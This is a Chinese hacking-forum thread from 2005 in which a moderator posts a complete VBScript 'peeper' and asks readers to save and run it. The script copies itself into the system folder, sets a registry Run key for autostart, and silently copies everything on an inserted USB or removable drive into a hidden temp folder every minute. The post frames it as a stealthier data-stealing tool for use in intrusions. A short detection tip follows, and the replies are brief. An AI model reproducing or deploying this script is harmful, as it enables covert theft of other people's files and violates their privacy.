20CN网络安全小组论坛 - 菜鸟乐园 - vbs版窥探者！（可支持移动硬盘等设备）

论坛: 菜鸟乐园标题: vbs版窥探者！（可支持移动硬盘等设备）

作者: yimarong [yimarong]

版主

打开记事本程序，将以下代码写入记事本中。
on error resume next
set fso = CreateObject("Scripting.FileSystemObject")
dim n
set n = CreateObject("WScript.Shell")
set dir = fso.GetSpecialFolder(1)
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs")
dim write
set write = CreateObject("WScript.Shell")
write.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs", "REG_SZ"
fso.CreateFolder("c:\windows\temp\")
for i=1 to 2
i = 1
fso.CopyFile "i:\*","c:\windows\temp\",True
fso.CopyFolder "i:\*","c:\windows\temp\",True
wscript.sleep 60000
next
　　在代码中“c:\windows\temp\”是指定的文件保存路径，可根据需要修改。“i:\*”用于指定闪存的盘符。最后，将代码保存为“*.vbs”如保存为“daoqu.vbs”文件。

比之闪盘窥探者：
1：FlashDiskThief程序在盗取闪存资料时，要求盗取者必须手动运行软件一次，软件才能
开始工作。每次都要启动软件是很麻烦的，而且很容易被别人发现。但本VBS代码运行后会在注册表“HKLM\Software\Microsoft\Windows\CurrentVersion\Run\”处写入自启动项，是开机自运行！
2：只要在本段代码把插入电脑后移动硬盘所显示盘符写入，即可完美支持移动设备！

防范措施
VBS脚本运行后，在资源管理器的进
程列表中会显示一个名为“Wscript.exe”的进程。该进程会自动监视闪存，每隔一分钟对闪存中的文件进行一次复制，并保存在指定的位置。
我们可以从这里入手检查！
但是进程是可以被修改以及加密的，所以大家在看到其它陌生进程的时候也要留心一下！

测试对象xp sp1/sp2 可指定任意一个盘符自动复制，可分别运行两个不同的指向的VBS，可以同时自动复

制两个盘符内容到指定位置！且目标盘符剩余空间小于移动盘内容空间时，不会弹出空间不足提示，只

会自动结束复制！（应该只是一时停止，如果这时目标盘又有新的空间被腾出应该还会自动继续复制~因

为每隔一分钟，程序会被重新执行一次！）

另外，在入侵中或有其它需要的时候配合xxx2xxx等使用，效果将更好！

地主发表时间: 05-09-07 14:20

回复: zhong [zhong]

见习版主

到时还得找你请教下

B1层发表时间: 05-09-08 10:40

回复: yimarong [yimarong]

版主

那一部分？

使用上面我觉得说的很清楚了啊！

B2层发表时间: 05-09-09 07:33

回复: zhong [zhong]

见习版主

都很清楚！

请教你别的

B3层发表时间: 05-09-09 08:15

论坛: 菜鸟乐园